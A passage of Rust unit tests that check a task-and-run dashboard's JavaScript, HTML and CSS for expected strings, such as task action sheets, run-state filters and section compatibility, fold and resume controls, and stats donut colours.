19781 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
19783 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
19784 assert!(APP_JS.contains("renderTaskActions(task);"));
19786 assert!(APP_JS.contains("renderTaskActions(null);"));
19787 let sheet = APP_JS
19789 .find("function renderTaskActions")
19790 .expect("sheet renderer");
19791 let body = &APP_JS[sheet..sheet + 3000];
19792 assert!(body.contains("changePriority("));
19793 assert!(body.contains("openTaskEdit(task)"));
19794 assert!(body.contains("renderTaskHoldBox(host"));
19795 assert!(body.contains("renderTaskDoneBox(host"));
19796 assert!(body.contains("renderTaskDeleteBox(host"));
19797 assert!(APP_JS.contains("API.priority(id)"));
19798 assert!(APP_JS.contains("API.deleteTask(id)"));
19799 assert!(APP_JS.contains("location.hash = \"#/queue\""));
19801 assert!(APP_JS.contains("$(\"task-actions-error\")"));
19803 }
19804
19805 #[test]
19806 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
19807 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
19808 let actions = INDEX_HTML
19809 .find("id=\"run-actions-box\"")
19810 .expect("actions box");
19811 assert!(task < actions, "the task entry comes first in the sheet");
19812 assert!(APP_JS.contains("renderRunTaskEntry"));
19813 assert!(APP_JS.contains("\"Open task \""));
19814 assert!(APP_JS.contains("started directly, no task"));
19816 assert!(APP_JS.contains("sheet-task-link"));
19817 assert!(APP_JS.contains("task-chip-link"));
19818 }
19819
19820 #[test]
19821 fn the_deck_never_sends_the_operator_to_a_terminal() {
19822 assert!(
19825 !APP_JS.contains("Run `magi fold` first"),
19826 "the deck must offer the fold, not prescribe a shell command"
19827 );
19828 assert!(APP_JS.contains("foldRun:"));
19829 assert!(APP_JS.contains("resumeRun:"));
19830 assert!(APP_JS.contains("renderRunActions"));
19831
19832 assert!(APP_JS.contains("armedFold"));
19834 assert!(APP_JS.contains("Yes, fold worktrees"));
19835
19836 assert!(APP_JS.contains("can no longer be resumed"));
19839 }
19840
19841 #[test]
19842 fn a_finished_run_explains_itself_with_its_own_last_line() {
19843 assert!(
19849 !APP_JS.contains("collapsed on agent quota"),
19850 "a stall must not be explained by a cause the deck did not check"
19851 );
19852 assert!(
19853 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
19854 "and a block must not offer a guess with an `or` in it"
19855 );
19856
19857 assert!(
19861 APP_JS.contains("setText(r.event, run.event || \"\")"),
19862 "the run's last line is rendered unconditionally"
19863 );
19864 assert!(
19865 !APP_JS.contains("moving && run.event"),
19866 "and never gated on the run still moving"
19867 );
19868
19869 assert!(APP_JS.contains("lost to quota"));
19871 }
19872
19873 #[test]
19895 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
19896 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
19897 let shapes_body_start =
19898 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
19899 let shapes_close = APP_JS[shapes_body_start..]
19900 .find("].map(")
19901 .expect("the shape list is closed by its done-computing .map(...)")
19902 + shapes_body_start;
19903 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
19904
19905 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
19906 for entry in shapes_src.split('{').skip(1) {
19907 let waiting = entry.contains("waiting: true");
19908 let dead = entry.contains("live: \"dead\"");
19909 let status_at =
19910 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
19911 let status_end = entry[status_at..]
19912 .find('"')
19913 .expect("the status string is closed")
19914 + status_at;
19915 let parked = entry.contains("display_status: \"parked\"");
19916 shapes.push((
19917 waiting,
19918 entry[status_at..status_end].to_string(),
19919 dead,
19920 parked,
19921 ));
19922 }
19923 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
19924
19925 let done_rule_marker = "done: !";
19929 let done_rule_at = APP_JS[shapes_close..]
19930 .find(done_rule_marker)
19931 .expect("the done rule follows the shape list")
19932 + shapes_close
19933 + done_rule_marker.len();
19934 let includes_at = APP_JS[done_rule_at..]
19935 .find(".includes(shape.status)")
19936 .expect("the done rule ends in .includes(shape.status)")
19937 + done_rule_at;
19938 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
19939 .trim()
19940 .trim_start_matches('[')
19941 .trim_end_matches(']')
19942 .split(',')
19943 .map(|s| s.trim().trim_matches('"'))
19944 .filter(|s| !s.is_empty())
19945 .collect();
19946
19947 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
19948 .into_iter()
19949 .map(|(waiting, status, dead, parked)| {
19950 let done = !not_done.contains(&status.as_str());
19951 (waiting, status, dead, parked, done)
19952 })
19953 .collect();
19954
19955 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
19959 if waiting {
19960 return "waiting";
19961 }
19962 if dead
19963 && !parked
19964 && !matches!(
19965 status,
19966 "merged"
19967 | "ready"
19968 | "stalled"
19969 | "blocked"
19970 | "failed"
19971 | "verified_noop"
19972 | "superseded"
19973 | "already_in_base"
19974 )
19975 {
19976 return "stale";
19977 }
19978 match status {
19979 "merged" | "ready" => "landed",
19980 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
19981 | "already_in_base" => "ended",
19982 _ => "flight",
19983 }
19984 }
19985
19986 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
19989 match filter_key {
19990 "active" => !done,
19991 "flight" => !done && !waiting && !dead,
19992 "stale" => !done && !waiting && dead,
19993 "waiting" => waiting,
19994 "done" => done,
19995 "all" => true,
19996 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
19997 }
19998 }
19999
20000 let compatible = |section: &str, filter_key: &str| {
20001 shapes.iter().any(|(waiting, status, dead, parked, done)| {
20002 run_section(*waiting, status, *dead, *parked) == section
20003 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
20004 })
20005 };
20006
20007 let expected = [
20012 ("waiting", [true, false, false, true, true, true]),
20013 ("stale", [true, false, true, false, false, true]),
20014 ("flight", [true, true, false, false, false, true]),
20015 ("landed", [false, false, false, false, true, true]),
20016 ("ended", [false, false, false, false, true, true]),
20017 ];
20018 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
20019
20020 for (section, wants) in expected {
20021 for (filter_key, want) in filter_keys.iter().zip(wants) {
20022 assert_eq!(
20023 compatible(section, filter_key),
20024 want,
20025 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
20026 );
20027 }
20028 }
20029
20030 assert!(
20033 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
20034 );
20035 assert!(APP_JS.contains(
20036 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
20037 ));
20038 assert!(APP_JS.contains(
20039 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
20040 ));
20041 }
20042
20043 #[tokio::test]
20044 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
20045 let dir = tempfile::tempdir().expect("tempdir");
20049 let explicit = dir.path().join("not-a-checkout");
20050 std::fs::create_dir_all(&explicit).expect("create dir");
20051 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
20052
20053 let missing = dir.path().join("does-not-exist-at-all");
20054 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
20055 }
20056
20057 #[test]
20058 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
20059 assert!(APP_JS.contains("function statsDonutArcs"));
20060 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
20061 assert!(APP_JS.contains("function statusInBucket"));
20063 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
20064 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
20065 let buckets = [
20066 "merged",
20067 "ready",
20068 "in_progress",
20069 "blocked",
20070 "failed",
20071 "verified_noop",
20072 "superseded",
20073 "stalled",
20074 ];
20075 for key in buckets {
20076 let var = format!("--verdict-{key}:");
20077 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
20079 assert!(
20080 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
20081 "{key}"
20082 );
20083 }
20084 }
20085}